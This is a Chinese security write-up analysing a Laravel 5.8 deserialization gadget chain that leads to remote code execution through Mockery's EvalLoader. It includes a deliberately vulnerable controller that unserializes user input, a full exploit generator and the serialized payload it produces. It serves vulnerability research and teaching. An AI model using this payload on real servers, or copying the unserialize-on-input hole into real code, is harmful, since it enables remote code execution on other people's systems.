Laravel 5.8 RCE 分析

先知社区地址 : https://xz.aliyun.com/t/6059

Laravel 代码审计

环境搭建

  • composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目

  • 进入项目文件夹,使用 php artisan serve 启动 web 服务

  • laravel58/routes/web.php 文件添加路由

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    Route::get("/","\App\Http\Controllers\DemoController@demo");
  • laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

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    <?php
    namespace App\Http\Controllers;

    class DemoController extends Controller
    {
    public function demo()
    {
    if(isset($_GET['c'])){
    $code = $_GET['c'];
    unserialize($code);
    }
    else{
    highlight_file(__FILE__);
    }
    return "Welcome to laravel5.8";
    }
    }

漏洞分析

  • ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61

  • Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法开始的 pop 链

  • Illuminate\Broadcasting\PendingBroadcast 中,$events 必须实现 Dispatcher 接口,这里选择的是 Illuminate\Bus\Dispatcher

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    public function __construct(Dispatcher $events, $event)
    {
    $this->event = $event;
    $this->events = $events;
    }

    public function __destruct()
    {
    $this->events->dispatch($this->event);
    }
  • Illuminate\Bus\Dispatcher 中,调用 dispatch 方法,进入 if 判断,$this->queueResolver 是在实例化 Illuminate\Bus\Dispatcher 时的一个参数,它必须有值,$command 也就是 $this->event 必须实现 ShouldQueue 接口,这里选择的就是 Illuminate\Broadcasting\BroadcastEvent

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    // $command : $this->event
    public function dispatch($command)
    {
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
    return $this->dispatchToQueue($command);
    }

    return $this->dispatchNow($command);
    }

    public function __construct(Container $container, Closure $queueResolver = null)
    {
    $this->container = $container;
    $this->queueResolver = $queueResolver;
    $this->pipeline = new Pipeline($container);
    }

    protected function commandShouldBeQueued($command)
    {
    return $command instanceof ShouldQueue;
    }
  • 到这里,构造出的 exp :

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    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    }
    }
    ?>
  • 然后进入 dispatchToQueue 方法,存在 call_user_func 方法,其中的 $this->queueResolver 是可控的,这里利用的是 Mockery\Loader\EvalLoaderload 方法,即 $this->queueResolverarray(new Mockery\Loader\EvalLoader(), "load")

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    public function dispatchToQueue($command)
    {
    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);

    if (! $queue instanceof Queue) {
    throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    }

    if (method_exists($command, 'queue')) {
    return $command->queue($queue, $command);
    }

    return $this->pushCommandToQueue($queue, $command);
    }
  • 这个点的意思就是

    1. $this->events 调用 dispatch 传入参数 $this->event
    2. 访问 $this->eventsqueueResolver 属性
    3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
    4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection$this->event->connection ,即 Illuminate\Broadcasting\BroadcastEvent 中的 $connection 属性
    5. call_user_func$connection 作为参数传给 $this->queueResolver 返回的函数
  • 到这里,构造出的 exp 如下,已经实现 call_user_func($this->queueResolver, $connection)call_user_func($evilFunc, $evilCode) ,接下来就要寻找一个可以利用的函数,这里选择的是 Mockery\Loader\EvalLoader ,继续跟进

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    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    }

    class BroadcastEvent {
    public $connection;
    function __construct($evilCode)
    {
    $this->connection = $evilCode;
    }
    }
    }

    namespace Illuminate\Bus {
    class Dispatcher {
    protected $queueResolver;
    function __construct()
    {
    $this->queueResolver = $evilFunc;
    }
    }
    }
  • Mockery\Loader\EvalLoader 中有一个 eval 函数可以利用,这里的 $definitionMockDefinition 类的实例化对象,也就说明 $this->event->connectionMockDefinition 类的实例化对象。接下来就是绕过 if 判断。

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    class EvalLoader implements Loader
    {
    public function load(MockDefinition $definition)
    {
    if (class_exists($definition->getClassName(), false)) {
    return;
    }

    eval("?>" . $definition->getCode());
    }
    }
  • 跟进 Mockery\Generator\MockDefinition ,如果要绕过 if 判断,必须让 getClassName 返回一个不存在的类名,即 $this->config->getName() 返回一个不存在的类名。$configMockery\Generator\MockConfiguration 的实例化对象

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    class MockDefinition
    {
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
    if (!$config->getName()) {
    throw new \InvalidArgumentException("MockConfiguration must contain a name");
    }
    $this->config = $config;
    $this->code = $code;
    }

    public function getConfig()
    {
    return $this->config;
    }

    public function getClassName()
    {
    return $this->config->getName();
    }

    public function getCode()
    {
    return $this->code;
    }
    }
  • Mockery\Generator\MockConfiguration 中,让 getName() 返回一个不存在的类名,最终执行 eval("?>" . $definition->getCode()); 实现 RCE

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    class MockConfiguration
    {
    protected $name;

    public function getName()
    {
    return $this->name;
    }
    }
  • 最终的 exp ,(ph 牛的 exp ) :

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    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    }

    class BroadcastEvent {
    public $connection;
    function __construct($evilCode)
    {
    $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
    }
    }
    }

    namespace Illuminate\Bus {
    class Dispatcher {
    protected $queueResolver;
    function __construct()
    {
    $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
    }
    }
    }

    namespace Mockery\Loader {
    class EvalLoader {}
    }
    namespace Mockery\Generator {
    class MockDefinition {
    protected $config;
    protected $code;
    function __construct($evilCode)
    {
    $this->code = $evilCode;
    $this->config = new MockConfiguration();
    }
    }
    class MockConfiguration {
    protected $name = 'abcdefg';
    }
    }

    namespace {
    $code = "<?php phpinfo(); exit; ?>";
    $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
    echo serialize($exp);
    }
    ?>
  • 构造输出结果 :

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    O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}

一些思考

  • 危险函数的寻找

    eval,call_user_func

  • phpstorm + xdebug 调试代码

  • PHP 序列化的时候 private 和 protected 变量会引入不可见字符 \x00\00Test\00y 为 private,\00*\00 为 protected,注意这两个 \x00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。

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    <?php
    class Test
    {
    public $x="peri0d";
    private $y="peri0d";
    protected $z="peri0d";
    }

    $k = new Test();

    echo serialize($k);

    // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
    ?>
  • 反序列化测试代码 :

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    <?php
    // 环境 : php 7.1.13 nts
    class Test
    {
    public $x="peri0d";
    private $y="peri0d";
    protected $z="peri0d";
    }

    $n = new Test();
    var_dump(serialize($n));
    var_dump(unserialize(serialize($n))); // 成功

    $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
    var_dump(unserialize($k)); // 成功

    $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
    var_dump(unserialize($m)); // 失败

    $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
    var_dump(unserialize($l)); // 失败
    ?>

参考链接